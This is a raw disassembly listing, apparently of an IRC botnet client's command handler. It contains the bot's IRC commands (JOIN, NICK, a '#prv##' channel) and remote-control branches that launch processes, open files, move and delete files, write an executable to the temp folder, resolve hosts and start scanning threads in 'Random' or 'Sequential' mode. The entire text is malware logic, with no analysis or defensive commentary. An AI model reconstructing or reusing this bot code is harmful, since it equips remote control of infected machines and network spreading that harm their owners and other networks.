jmp short loc_408915
; ---------------------------------------------------------------------------
loc_40890F: ; CODE XREF: sub_406BAB+1D4Ej
mov [ebp+var_560], ebx
loc_408915: ; CODE XREF: sub_406BAB+1D62j
mov esi, [ebp+esi+var_90]
cmp esi, ebx
jz short loc_40892F
push esi
call sub_40C3AF
pop ecx
mov [ebp+var_564], eax
jmp short loc_408935
; ---------------------------------------------------------------------------
loc_40892F: ; CODE XREF: sub_406BAB+1D73j
mov [ebp+var_564], ebx
loc_408935: ; CODE XREF: sub_406BAB+1D82j
movzx eax, [ebp+var_90F]
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_9C]
mov [ebp+var_55C], eax
lea eax, [ebp+var_7F0]
mov [ebp+var_7F4], esi
push eax
call sub_40B110
push [ebp+arg_18]
mov eax, [ebp+var_8]
mov edi, [ebp+var_4]
mov [ebp+var_558], eax
push [ebp+arg_10]
lea eax, [ebp+var_2E4]
mov [ebp+var_554], edi
push offset unk_41D0B0
push eax
call sub_40B0B3
push esi
lea eax, [ebp+var_2E4]
push 14h
push eax
call sub_40AA54
add esp, 28h
mov [ebp+var_570], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_7F4]
push ebx
push eax
push offset sub_4032EE
push ebx
push ebx
call dword_417048 ; CreateThread
mov ecx, [ebp+var_570]
imul ecx, 234h
cmp eax, ebx
mov dword_42CF74[ecx], eax
jnz short loc_408A10
call dword_417044 ; RtlGetLastWin32Error
push eax
push offset unk_41D070
loc_4089DB: ; CODE XREF: sub_406BAB+1BDEj
; sub_406BAB+1CDDj
lea eax, [ebp+var_2E4]
push eax
call sub_40B0B3
add esp, 0Ch
loc_4089EA: ; CODE XREF: sub_406BAB+1BF3j
; sub_406BAB+1CF2j ...
cmp [ebp+var_8], ebx
jnz loc_409B55
push ebx
lea eax, [ebp+var_2E4]
push edi
push eax
push [ebp+var_9C]
push esi
jmp loc_40820E
; ---------------------------------------------------------------------------
loc_408A08: ; CODE XREF: sub_406BAB+1E6Bj
push 32h
call dword_417040 ; Sleep
loc_408A10: ; CODE XREF: sub_406BAB+1E22j
cmp [ebp+var_550], ebx
jz short loc_408A08
jmp short loc_4089EA
; ---------------------------------------------------------------------------
loc_408A1A: ; CODE XREF: sub_406BAB+152Aj
; sub_406BAB+153Fj
push [ebp+arg_18]
push [ebp+arg_10]
call dword_4170F0 ; MoveFileA
test eax, eax
jz short loc_408A4B
push [ebp+arg_18]
lea eax, [ebp+var_2E4]
push [ebp+arg_10]
push offset unk_41D048
push 200h
push eax
call sub_40BDE7
add esp, 14h
jmp short loc_408A6A
; ---------------------------------------------------------------------------
loc_408A4B: ; CODE XREF: sub_406BAB+1E7Dj
push offset dword_41D038
call sub_4052BA
push eax
lea eax, [ebp+var_2E4]
push 200h
push eax
call sub_40BDE7
add esp, 10h
loc_408A6A: ; CODE XREF: sub_406BAB+1E9Ej
; sub_406BAB+278Aj ...
cmp [ebp+var_8], ebx
jnz short loc_408A8B
push ebx
lea eax, [ebp+var_2E4]
push [ebp+var_4]
push eax
push [ebp+var_9C]
push [ebp+arg_4]
call sub_404555
add esp, 14h
loc_408A8B: ; CODE XREF: sub_406BAB+E2Fj
; sub_406BAB+1EC2j ...
xor esi, esi
inc esi
loc_408A8E: ; CODE XREF: sub_406BAB+2656j
; sub_406BAB+2693j ...
lea eax, [ebp+var_2E4]
push eax
call sub_403145
pop ecx
mov eax, esi
jmp loc_406FFC
; ---------------------------------------------------------------------------
loc_408AA2: ; CODE XREF: sub_406BAB+1500j
; sub_406BAB+1515j
push 44h
lea eax, [ebp+var_474]
pop esi
push esi
push ebx
push eax
call sub_40B630
push [ebp+arg_10]
xor edi, edi
inc edi
mov [ebp+var_474], esi
mov [ebp+var_448], edi
mov word ptr [ebp+var_444], bx
call sub_40C3AF
add esp, 10h
cmp eax, edi
jnz short loc_408AE1
mov word ptr [ebp+var_444], 5
loc_408AE1: ; CODE XREF: sub_406BAB+1F2Bj
cmp [ebp+var_C], ebx
jz loc_4091DD
push [ebp+arg_18]
push [ebp+var_C]
call sub_40CE60
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_4091DD
lea eax, [ebp+var_D8]
push eax
lea eax, [ebp+var_474]
push eax
push ebx
push ebx
push 28h
push edi
push ebx
push ebx
push esi
push ebx
call dword_417070 ; CreateProcessA
test eax, eax
lea eax, [ebp+var_2E4]
jnz short loc_408B32
push offset unk_41D010
jmp loc_409304
; ---------------------------------------------------------------------------
loc_408B32: ; CODE XREF: sub_406BAB+1F7Bj
push esi
push offset dword_41CFF4
jmp loc_409293
; ---------------------------------------------------------------------------
loc_408B3D: ; CODE XREF: sub_406BAB+14D6j
; sub_406BAB+14EBj
push [ebp+arg_18]
push offset aKtsFinally ; "KTS-Finally"
call sub_40C250
mov edi, [ebp+arg_4]
pop ecx
test eax, eax
pop ecx
jz loc_408CBD
lea eax, [ebp+var_A78]
push eax
push 104h
call dword_4170BC ; GetTempPathA
push 0FFh
lea eax, [ebp+var_770]
push [ebp+arg_10]
push eax
call sub_40B110
lea eax, [ebp+var_E4]
push eax
call sub_405F22
push eax
lea eax, [ebp+var_A78]
push eax
lea eax, [ebp+var_670]
push offset aSS_exe ; "%s%s.exe"
push eax
call sub_40B0B3
mov eax, [ebp+esi+var_98]
add esp, 20h
cmp eax, ebx
mov [ebp+var_56C], 1
mov [ebp+var_568], ebx
jz short loc_408BD4
push 10h
push ebx
push eax
call sub_40CC7B
add esp, 0Ch
mov [ebp+var_560], eax
jmp short loc_408BDA
; ---------------------------------------------------------------------------
loc_408BD4: ; CODE XREF: sub_406BAB+2013j
mov [ebp+var_560], ebx
loc_408BDA: ; CODE XREF: sub_406BAB+2027j
mov esi, [ebp+esi+var_94]
cmp esi, ebx
jz short loc_408BF4
push esi
call sub_40C3AF
pop ecx
mov [ebp+var_564], eax
jmp short loc_408BFA
; ---------------------------------------------------------------------------
loc_408BF4: ; CODE XREF: sub_406BAB+2038j
mov [ebp+var_564], ebx
loc_408BFA: ; CODE XREF: sub_406BAB+2047j
movzx eax, [ebp+var_90F]
push 7Fh
mov [ebp+var_55C], eax
push [ebp+var_9C]
lea eax, [ebp+var_7F0]
mov [ebp+var_7F4], edi
push eax
call sub_40B110
mov eax, [ebp+var_4]
push [ebp+arg_10]
mov [ebp+var_554], eax
mov eax, [ebp+var_8]
mov [ebp+var_558], eax
lea eax, [ebp+var_2E4]
push offset unk_41CFB8
push eax
call sub_40B0B3
push edi
lea eax, [ebp+var_2E4]
push 15h
push eax
call sub_40AA54
add esp, 24h
mov [ebp+var_570], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_7F4]
push ebx
push eax
push offset sub_4032EE
push ebx
push ebx
call dword_417048 ; CreateThread
mov ecx, [ebp+var_570]
imul ecx, 234h
cmp eax, ebx
mov dword_42CF74[ecx], eax
jnz short loc_408CB3
call dword_417044 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_2E4]
push offset unk_41CF78
push eax
call sub_40B0B3
add esp, 0Ch
jmp short loc_408CD0
; ---------------------------------------------------------------------------
loc_408CAB: ; CODE XREF: sub_406BAB+210Ej
push 32h
call dword_417040 ; Sleep
loc_408CB3: ; CODE XREF: sub_406BAB+20E1j
cmp [ebp+var_550], ebx
jz short loc_408CAB
jmp short loc_408CD0
; ---------------------------------------------------------------------------
loc_408CBD: ; CODE XREF: sub_406BAB+1FA6j
lea eax, [ebp+var_2E4]
push offset unk_41CF30
push eax
call sub_40B0B3
pop ecx
pop ecx
loc_408CD0: ; CODE XREF: sub_406BAB+20FEj
; sub_406BAB+2110j
cmp [ebp+var_8], ebx
jnz loc_4091FE
push ebx
lea eax, [ebp+var_2E4]
push [ebp+var_4]
push eax
push [ebp+var_9C]
push edi
jmp loc_4091F6
; ---------------------------------------------------------------------------
loc_408CF0: ; CODE XREF: sub_406BAB+14ACj
; sub_406BAB+14C1j
push [ebp+var_A0]
push offset dword_41D834
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_406FF9
cmp [ebp+var_C], ebx
jz loc_406FF9
push [ebp+arg_18]
push [ebp+var_C]
call sub_40CE60
push eax
lea eax, [ebp+var_2E4]
push [ebp+var_9C]
push [ebp+var_A0]
push [ebp+var_A4]
push offset dword_41CF20
push eax
call sub_40B0B3
lea eax, [ebp+var_2E4]
push 1FFh
push eax
push [ebp+arg_0]
call sub_40B110
push [ebp+arg_10]
call sub_40C3AF
add esp, 30h
test eax, eax
jle short loc_408D7B
push [ebp+arg_10]
call sub_40C3AF
imul eax, 3E8h
pop ecx
push eax
call dword_417040 ; Sleep
loc_408D7B: ; CODE XREF: sub_406BAB+21B8j
mov eax, [ebp+arg_24]
inc eax
jmp loc_406FFC
; ---------------------------------------------------------------------------
loc_408D84: ; CODE XREF: sub_406BAB+1482j
; sub_406BAB+1497j
push [ebp+var_A0]
push offset dword_41D834
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_406FF9
cmp [ebp+var_C], ebx
jz loc_409F32
mov edi, [ebp+arg_18]
push edi
push [ebp+var_C]
call sub_40CE60
inc edi
push offset aRepeat ; "repeat"
push edi
mov esi, eax
call sub_40C250
add esp, 10h
test eax, eax
push esi
lea eax, [ebp+var_2E4]
jz short loc_408E42
push [ebp+var_9C]
push [ebp+var_A0]
push [ebp+var_A4]
push offset dword_41CF20
push eax
call sub_40B0B3
lea eax, [ebp+var_2E4]
push 1FFh
push eax
push [ebp+arg_0]
call sub_40B110
push esi
lea eax, [ebp+var_2E4]
push offset dword_41CF04
push eax
call sub_40B0B3
lea eax, [ebp+var_2E4]
push eax
call sub_403145
push [ebp+arg_10]
call sub_40C3AF
add esp, 38h
test eax, eax
jle loc_409F32
push [ebp+arg_10]
call sub_40C3AF
add eax, [ebp+arg_24]
pop ecx
jmp loc_406FFC
; ---------------------------------------------------------------------------
loc_408E42: ; CODE XREF: sub_406BAB+2222j
push offset unk_41CECC
jmp loc_409126
; ---------------------------------------------------------------------------
loc_408E4C: ; CODE XREF: sub_406BAB+1458j
; sub_406BAB+146Dj
cmp [ebp+var_C], ebx
jz loc_409F32
push [ebp+arg_10]
push [ebp+var_C]
call sub_40CE60
pop ecx
cmp eax, ebx
pop ecx
jz loc_409F32
push eax
push offset dword_41CEC0
loc_408E70: ; CODE XREF: sub_406BAB+28BDj
; sub_406BAB+28CAj ...
push [ebp+arg_4]
call sub_40450F
jmp loc_409DF9
; ---------------------------------------------------------------------------
loc_408E7D: ; CODE XREF: sub_406BAB+142Ej
; sub_406BAB+1443j
push [ebp+var_A0]
push offset dword_41D834
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_406FF9
push [ebp+arg_18]
push offset dword_41CEB4
push [ebp+arg_4]
call sub_40450F
push [ebp+arg_10]
call sub_40C3AF
imul eax, 3E8h
add esp, 10h
push eax
call dword_417040 ; Sleep
push [ebp+esi+var_98]
push [ebp+arg_18]
loc_408EC9: ; CODE XREF: sub_406BAB+28D9j
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_40450F
jmp loc_40990B
; ---------------------------------------------------------------------------
loc_408EDB: ; CODE XREF: sub_406BAB+1404j
; sub_406BAB+1419j
cmp [ebp+var_C], ebx
jz loc_409F32
push [ebp+arg_10]
call sub_40B5B0
push edi
mov esi, eax
call sub_40B5B0
add eax, [ebp+var_C]
push [ebp+arg_18]
lea eax, [eax+esi+2]
push eax
call sub_40CE60
add esp, 10h
cmp eax, ebx
jz loc_409F32
push eax
lea eax, [ebp+var_2E4]
push offset dword_41CEA8
push eax
call sub_40B0B3
push ebx
lea eax, [ebp+var_2E4]
push ebx
push eax
push [ebp+arg_10]
loc_408F2D: ; CODE XREF: sub_406BAB+17E7j
push [ebp+arg_4]
call sub_404555
add esp, 20h
jmp loc_409F32
; ---------------------------------------------------------------------------
loc_408F3D: ; CODE XREF: sub_406BAB+13DAj
; sub_406BAB+13EFj
cmp [ebp+var_C], ebx
jz loc_409F32
push [ebp+arg_10]
call sub_40B5B0
push edi
mov esi, eax
call sub_40B5B0
add eax, [ebp+var_C]
push [ebp+arg_18]
lea eax, [eax+esi+2]
push eax
call sub_40CE60
add esp, 10h
cmp eax, ebx
jz loc_409F32
push ebx
push ebx
push eax
push [ebp+arg_10]
jmp loc_409BEA
; ---------------------------------------------------------------------------
loc_408F7C: ; CODE XREF: sub_406BAB+13B0j
; sub_406BAB+13C5j
cmp [ebp+var_C], ebx
jz loc_406FF9
push [ebp+arg_18]
push [ebp+var_C]
call sub_40CE60
pop ecx
cmp eax, ebx
pop ecx
jz loc_406FF9
push eax
push [ebp+arg_10]
call sub_40304D
push [ebp+arg_10]
lea eax, [ebp+var_2E4]
push offset unk_41CE88
push eax
call sub_40B0B3
add esp, 14h
jmp loc_4081F1
; ---------------------------------------------------------------------------
loc_408FBF: ; CODE XREF: sub_406BAB+1374j
; sub_406BAB+1389j
push [ebp+arg_10]
push [ebp+arg_1C]
call sub_40CE60
pop ecx
test eax, eax
pop ecx
jz loc_409F32
mov esi, [ebp+esi+var_9C]
cmp esi, ebx
jz short loc_40905A
push esi
push [ebp+var_C]
call sub_40CE60
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
lea eax, [ebp+var_2E4]
jz short loc_409048
push esi
push [ebp+var_9C]
push [ebp+var_A0]
push [ebp+var_A4]
push offset dword_41CF20
push eax
call sub_40B0B3
lea eax, [ebp+var_2E4]
push 1FFh
push eax
push [ebp+arg_0]
call sub_40B110
push esi
lea eax, [ebp+var_2E4]
push [ebp+arg_10]
push offset unk_41CE60
push eax
call sub_40B0B3
add esp, 34h
inc [ebp+arg_24]
jmp loc_409195
; ---------------------------------------------------------------------------
loc_409048: ; CODE XREF: sub_406BAB+2449j
push offset unk_41CE2C
push eax
call sub_40B0B3
pop ecx
pop ecx
jmp loc_409195
; ---------------------------------------------------------------------------
loc_40905A: ; CODE XREF: sub_406BAB+2432j
push ebx
lea eax, [ebp+var_2E4]
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_1C]
push eax
call sub_40A4AD
add esp, 0Ch
push eax
push [ebp+var_9C]
push [ebp+arg_4]
call sub_404555
push [ebp+arg_10]
lea eax, [ebp+var_2E4]
push offset dword_41CE10
push 200h
push eax
call sub_40BDE7
add esp, 24h
jmp loc_409195
; ---------------------------------------------------------------------------
loc_4090A3: ; CODE XREF: sub_406BAB+134Aj
; sub_406BAB+135Fj
push offset aR ; "r"
push [ebp+arg_10]
call sub_40C7B8
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
lea eax, [ebp+var_2E4]
jz short loc_40911E
mov esi, 200h
push edi
push esi
push eax
call sub_40D361
add esp, 0Ch
jmp short loc_4090FB
; ---------------------------------------------------------------------------
loc_4090D0: ; CODE XREF: sub_406BAB+2552j
push 1
lea eax, [ebp+var_2E4]
push [ebp+var_4]
push eax
push [ebp+var_9C]
push [ebp+arg_4]
call sub_404555
push edi
lea eax, [ebp+var_2E4]
push esi
push eax
call sub_40D361
add esp, 20h
loc_4090FB: ; CODE XREF: sub_406BAB+2523j
test eax, eax
jnz short loc_4090D0
push edi
call sub_40C3BA
push [ebp+arg_10]
lea eax, [ebp+var_2E4]
push offset unk_41CDE8
push eax
call sub_40B0B3
add esp, 10h
jmp short loc_409195
; ---------------------------------------------------------------------------
loc_40911E: ; CODE XREF: sub_406BAB+2511j
push [ebp+arg_10]
push offset unk_41CDC4
loc_409126: ; CODE XREF: sub_406BAB+229Cj
push eax
call sub_40B0B3
add esp, 0Ch
jmp short loc_409174
; ---------------------------------------------------------------------------
loc_409131: ; CODE XREF: sub_406BAB+1320j
; sub_406BAB+1335j
cmp [ebp+var_C], ebx
jz loc_409F32
push [ebp+arg_10]
push [ebp+var_C]
call sub_40CE60
pop ecx
cmp eax, ebx
pop ecx
jz loc_409F32
push eax
call sub_40537F
test eax, eax
pop ecx
lea eax, [ebp+var_2E4]
jnz short loc_409167
push offset unk_41CDA4
jmp short loc_40916C
; ---------------------------------------------------------------------------
loc_409167: ; CODE XREF: sub_406BAB+25B3j
push offset dword_41CD88
loc_40916C: ; CODE XREF: sub_406BAB+25BAj
push eax
call sub_40B0B3
pop ecx
pop ecx
loc_409174: ; CODE XREF: sub_406BAB+2584j
cmp [ebp+var_8], ebx
jnz short loc_409195
push ebx
lea eax, [ebp+var_2E4]
push [ebp+var_4]
push eax
push [ebp+var_9C]
push [ebp+arg_4]
call sub_404555
add esp, 14h
loc_409195: ; CODE XREF: sub_406BAB+2498j
; sub_406BAB+24AAj ...
lea eax, [ebp+var_2E4]
push eax
loc_40919C: ; CODE XREF: sub_406BAB+1006j
call sub_403145
pop ecx
jmp loc_409F32
; ---------------------------------------------------------------------------
loc_4091A7: ; CODE XREF: sub_406BAB+12F6j
; sub_406BAB+130Bj
push [ebp+arg_10]
call dword_4170DC ; DeleteFileA
test eax, eax
jz short loc_4091BE
push [ebp+arg_10]
push offset dword_41CD6C
jmp short loc_4091C9
; ---------------------------------------------------------------------------
loc_4091BE: ; CODE XREF: sub_406BAB+2607j
push offset dword_41D038
call sub_4052BA
push eax
loc_4091C9: ; CODE XREF: sub_406BAB+2611j
lea eax, [ebp+var_2E4]
push 200h
push eax
call sub_40BDE7
loc_4091DA: ; CODE XREF: sub_406BAB+272Ej
add esp, 10h
loc_4091DD: ; CODE XREF: sub_406BAB+1F39j
; sub_406BAB+1F50j ...
cmp [ebp+var_8], ebx
jnz short loc_4091FE
push ebx
lea eax, [ebp+var_2E4]
push [ebp+var_4]
push eax
push [ebp+var_9C]
push [ebp+arg_4]
loc_4091F6: ; CODE XREF: sub_406BAB+2140j
call sub_404555
add esp, 14h
loc_4091FE: ; CODE XREF: sub_406BAB+2128j
; sub_406BAB+2635j ...
mov esi, [ebp+arg_24]
jmp loc_408A8E
; ---------------------------------------------------------------------------
loc_409206: ; CODE XREF: sub_406BAB+12CCj
; sub_406BAB+12E1j
push [ebp+arg_10]
call sub_40C3AF
push eax
call sub_405AA1
xor esi, esi
pop ecx
inc esi
pop ecx
push [ebp+arg_10]
cmp eax, esi
lea eax, [ebp+var_2E4]
jnz short loc_40922D
push offset unk_41CD48
jmp short loc_409232
; ---------------------------------------------------------------------------
loc_40922D: ; CODE XREF: sub_406BAB+2679j
push offset unk_41CD14
loc_409232: ; CODE XREF: sub_406BAB+2680j
push eax
call sub_40B0B3
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz loc_408A8E
push ebx
lea eax, [ebp+var_2E4]
push [ebp+var_4]
push eax
push [ebp+var_9C]
push [ebp+arg_4]
call sub_404555
add esp, 14h
jmp loc_408A8E
; ---------------------------------------------------------------------------
loc_409265: ; CODE XREF: sub_406BAB+12A2j
; sub_406BAB+12B7j
push ebx
push ebx
push [ebp+arg_10]
push [ebp+var_4]
push ebx
push [ebp+arg_4]
call sub_405816
add esp, 18h
cmp eax, 1
lea eax, [ebp+var_2E4]
push [ebp+arg_10]
jnz short loc_40928E
push offset unk_41CCF0
jmp short loc_409293
; ---------------------------------------------------------------------------
loc_40928E: ; CODE XREF: sub_406BAB+26DAj
push offset unk_41CCC0
loc_409293: ; CODE XREF: sub_406BAB+1F8Dj
; sub_406BAB+26E1j ...
push eax
call sub_40B0B3
loc_409299: ; CODE XREF: sub_406BAB+2DBEj
add esp, 0Ch
jmp loc_4091DD
; ---------------------------------------------------------------------------
loc_4092A1: ; CODE XREF: sub_406BAB+1278j
; sub_406BAB+128Dj
mov esi, [ebp+arg_10]
push esi
call dword_42B410 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz short loc_4092DE
push 2
lea eax, [ebp+arg_0]
push 4
push eax
call dword_42B390 ; gethostbyaddr
cmp eax, ebx
jz short loc_4092F9
push dword ptr [eax]
loc_4092C7: ; CODE XREF: sub_406BAB+274Cj
push esi
lea eax, [ebp+var_2E4]
push offset dword_41CCA0
push eax
call sub_40B0B3
jmp loc_4091DA
; ---------------------------------------------------------------------------
loc_4092DE: ; CODE XREF: sub_406BAB+2706j
push esi
call dword_42B454 ; gethostbyname
cmp eax, ebx
jz short loc_4092F9
mov eax, [eax+0Ch]
mov eax, [eax]
push dword ptr [eax]
call dword_42B45C ; inet_ntoa
push eax
jmp short loc_4092C7
; ---------------------------------------------------------------------------
loc_4092F9: ; CODE XREF: sub_406BAB+2718j
; sub_406BAB+273Cj
push offset dword_41CC78
lea eax, [ebp+var_2E4]
loc_409304: ; CODE XREF: sub_406BAB+1F82j
push eax
call sub_40B0B3
pop ecx
pop ecx
jmp loc_4091DD
; ---------------------------------------------------------------------------
loc_409311: ; CODE XREF: sub_406BAB+124Ej
; sub_406BAB+1263j
push 7Fh
push [ebp+arg_10]
push [ebp+arg_14]
call sub_40B110
push [ebp+arg_10]
lea eax, [ebp+var_2E4]
push offset unk_41CC50
push eax
call sub_40B0B3
add esp, 18h
jmp loc_408A6A
; ---------------------------------------------------------------------------
loc_40933A: ; CODE XREF: sub_406BAB+1224j
; sub_406BAB+1239j
push 5
push ebx
push ebx
push [ebp+arg_10]
push offset aOpen ; "open"
push ebx
call dword_42B358
push [ebp+arg_10]
test eax, eax
lea eax, [ebp+var_2E4]
jz short loc_409364
push offset dword_41CC30
jmp loc_409293
; ---------------------------------------------------------------------------
loc_409364: ; CODE XREF: sub_406BAB+27ADj
push offset unk_41CC08
jmp loc_409293
; ---------------------------------------------------------------------------
loc_40936E: ; CODE XREF: sub_406BAB+11FAj
; sub_406BAB+120Fj
mov eax, [ebp+arg_10]
mov cl, [eax]
mov byte_41C0E8, cl
movsx eax, byte ptr [eax]
push eax
push offset unk_41CBE0
jmp loc_409EC0
; ---------------------------------------------------------------------------
loc_409387: ; CODE XREF: sub_406BAB+11D0j
; sub_406BAB+11E5j
push [ebp+arg_10]
push offset aAll ; "all"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jnz short loc_4093C6
call sub_40AC17
cmp eax, ebx
jle short loc_4093AE
push eax
push offset dword_41CBB4
jmp loc_4081E2
; ---------------------------------------------------------------------------
loc_4093AE: ; CODE XREF: sub_406BAB+27F6j
push offset dword_41CB88
loc_4093B3: ; CODE XREF: sub_406BAB+18BAj
; sub_406BAB+191Aj
lea eax, [ebp+var_2E4]
push eax
call sub_40B0B3
pop ecx
pop ecx
jmp loc_4081F1
; ---------------------------------------------------------------------------
loc_4093C6: ; CODE XREF: sub_406BAB+27EDj
mov eax, [ebp+var_24]
lea edi, [eax+1]
jmp short loc_40943A
; ---------------------------------------------------------------------------
loc_4093CE: ; CODE XREF: sub_406BAB+2892j
mov esi, [ebp+edi*4+var_A4]
cmp esi, ebx
jz loc_406FF9
push esi
call sub_40C3AF
push eax
call sub_40AB8F
pop ecx
pop ecx
test eax, eax
push esi
lea eax, [ebp+var_2E4]
jz short loc_4093FD
push offset dword_41CB64
jmp short loc_409402
; ---------------------------------------------------------------------------
loc_4093FD: ; CODE XREF: sub_406BAB+2849j
push offset dword_41CB38
loc_409402: ; CODE XREF: sub_406BAB+2850j
push eax
call sub_40B0B3
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_40942C
push ebx
lea eax, [ebp+var_2E4]
push [ebp+var_4]
push eax
push [ebp+var_9C]
push [ebp+arg_4]
call sub_404555
add esp, 14h
loc_40942C: ; CODE XREF: sub_406BAB+2863j
lea eax, [ebp+var_2E4]
push eax
call sub_403145
pop ecx
inc edi
loc_40943A: ; CODE XREF: sub_406BAB+2821j
cmp edi, 20h
jb short loc_4093CE
jmp loc_406FF9
; ---------------------------------------------------------------------------
loc_409444: ; CODE XREF: sub_406BAB+11A6j
; sub_406BAB+11BBj
cmp [ebp+var_C], ebx
jz loc_409F32
push [ebp+arg_10]
push [ebp+var_C]
call sub_40CE60
pop ecx
cmp eax, ebx
pop ecx
jz loc_409F32
push eax
push offset dword_41AC38
jmp loc_408E70
; ---------------------------------------------------------------------------
loc_40946D: ; CODE XREF: sub_406BAB+117Cj
; sub_406BAB+1191j
push [ebp+arg_10]
push offset dword_41CEB4
jmp loc_408E70
; ---------------------------------------------------------------------------
loc_40947A: ; CODE XREF: sub_406BAB+1152j
; sub_406BAB+1167j
push [ebp+esi+var_9C]
push [ebp+arg_10]
jmp loc_408EC9
; ---------------------------------------------------------------------------
loc_409489: ; CODE XREF: sub_406BAB+1128j
; sub_406BAB+113Dj
push [ebp+arg_10]
push offset aNickS ; "NICK %s\r\n"
jmp loc_408E70
; ---------------------------------------------------------------------------
loc_409496: ; CODE XREF: sub_406BAB+10ECj
; sub_406BAB+1101j
mov al, byte_41C102
mov [ebp+arg_0], ebx
cmp al, bl
mov edx, offset byte_41C102
jz loc_406FF9
mov ecx, edx
loc_4094AD: ; CODE XREF: sub_406BAB+290Aj
inc [ebp+arg_0]
add ecx, 0Bh
cmp [ecx], bl
jnz short loc_4094AD
cmp al, bl
jz loc_406FF9
mov [ebp+arg_18], edx
loc_4094C2: ; CODE XREF: sub_406BAB+2BC1j
push 7
pop esi
push esi
call sub_40AC96
pop ecx
mov ecx, eax
mov eax, 190h
cdq
idiv [ebp+arg_0]
mov edx, eax
mov eax, 258h
add edx, ecx
cmp edx, eax
jle short loc_409517
push ecx
lea eax, [ebp+var_2E4]
push offset unk_41D2C4
push eax
call sub_40B0B3
push ebx
lea eax, [ebp+var_2E4]
push [ebp+var_4]
push eax
push [ebp+var_9C]
push [ebp+arg_4]
call sub_404555
add esp, 20h
jmp loc_409763
; ---------------------------------------------------------------------------
loc_409517: ; CODE XREF: sub_406BAB+2937j
or [ebp+var_300], 0FFFFFFFFh
cmp dword_419068, ebx
mov [ebp+var_304], 14h
mov [ebp+var_318], esi
mov [ebp+var_314], eax
mov [ebp+arg_0], ebx
jz short loc_409580
mov eax, [ebp+arg_18]
mov edi, offset dword_419068
lea esi, [eax-0Ah]
loc_40954A: ; CODE XREF: sub_406BAB+29B7j
lea eax, [edi-28h]
push esi
push eax
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz short loc_409566
inc [ebp+arg_0]
add edi, 3Ch
cmp [edi], ebx
jnz short loc_40954A
jmp short loc_409580
; ---------------------------------------------------------------------------
loc_409566: ; CODE XREF: sub_406BAB+29ADj
mov eax, [ebp+arg_0]
mov ecx, eax
mov [ebp+var_300], eax
imul ecx, 3Ch
mov ecx, dword_419068[ecx]
mov [ebp+var_31C], ecx
loc_409580: ; CODE XREF: sub_406BAB+2992j
; sub_406BAB+29B9j
cmp [ebp+var_31C], ebx
jz loc_409789
push 10h
lea eax, [ebp+arg_10]
pop esi
push eax
lea eax, [ebp+var_D8]
push eax
mov [ebp+arg_10], esi
push [ebp+arg_4]
call dword_42B37C ; getsockname
mov al, [ebp+var_913]
push esi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp+var_D4], eax
push [ebp+var_D4]
call dword_42B45C ; inet_ntoa
push eax
lea eax, [ebp+var_430]
push eax
call sub_40B110
xor eax, eax
cmp [ebp+var_913], bl
push 30h
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp+var_430]
push eax
call sub_40D3C0
add esp, 14h
cmp edi, ebx
mov byte ptr [ebp+arg_24+3], bl
jle short loc_409622
loc_409600: ; CODE XREF: sub_406BAB+2A75j
cmp eax, ebx
jz short loc_409622
mov byte ptr [eax], 78h
lea eax, [ebp+var_430]
push 30h
push eax
call sub_40D3C0
inc byte ptr [ebp+arg_24+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+arg_24+3]
cmp ecx, edi
jl short loc_409600
loc_409622: ; CODE XREF: sub_406BAB+2A53j
; sub_406BAB+2A57j
mov eax, [ebp+arg_4]
push [ebp+var_9C]
mov esi, [ebp+var_4]
mov [ebp+var_320], eax
mov eax, [ebp+var_8]
mov edi, 80h
mov [ebp+var_2F4], eax
lea eax, [ebp+var_420]
push edi
push eax
mov [ebp+var_2F0], 1
mov [ebp+var_2F8], esi
call sub_40BDE7
push offset byte_422270
push offset aPrv_1 ; "#prv##"
call sub_40C250
add esp, 14h
test eax, eax
jz short loc_40968C
push offset aPrv_1 ; "#prv##"
lea eax, [ebp+var_3A0]
push edi
push eax
call sub_40BDE7
add esp, 0Ch
jmp short loc_409692
; ---------------------------------------------------------------------------
loc_40968C: ; CODE XREF: sub_406BAB+2AC8j
mov [ebp+var_3A0], bl
loc_409692: ; CODE XREF: sub_406BAB+2ADFj
cmp [ebp+var_2F0], ebx
mov eax, offset aRandom ; "Random"
jnz short loc_4096A4
mov eax, offset aSequential ; "Sequential"
loc_4096A4: ; CODE XREF: sub_406BAB+2AF2j
push [ebp+var_304]
lea ecx, [ebp+var_430]
push [ebp+var_314]
push [ebp+var_318]
push [ebp+var_31C]
push ecx
push eax
lea eax, [ebp+var_2E4]
push offset unk_41D1D8
push eax
call sub_40B0B3
push ebx
lea eax, [ebp+var_2E4]
push 7
push eax
call sub_40AA54
add esp, 2Ch
mov [ebp+var_310], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_430]
push ebx
push eax
push offset sub_401704
push ebx
push ebx
call dword_417048 ; CreateThread
mov ecx, [ebp+var_310]
imul ecx, 234h
cmp eax, ebx
mov dword_42CF74[ecx], eax
jnz short loc_40977F
call dword_417044 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_2E4]
push offset unk_41D1A0
push eax
call sub_40B0B3
add esp, 0Ch
loc_409737: ; CODE XREF: sub_406BAB+2BDCj
cmp [ebp+var_8], ebx
jnz short loc_409756
push ebx
lea eax, [ebp+var_2E4]
push esi
push eax
push [ebp+var_9C]
push [ebp+arg_4]
call sub_404555
add esp, 14h
loc_409756: ; CODE XREF: sub_406BAB+2B8Fj
lea eax, [ebp+var_2E4]
push eax
call sub_403145
pop ecx
loc_409763: ; CODE XREF: sub_406BAB+2967j
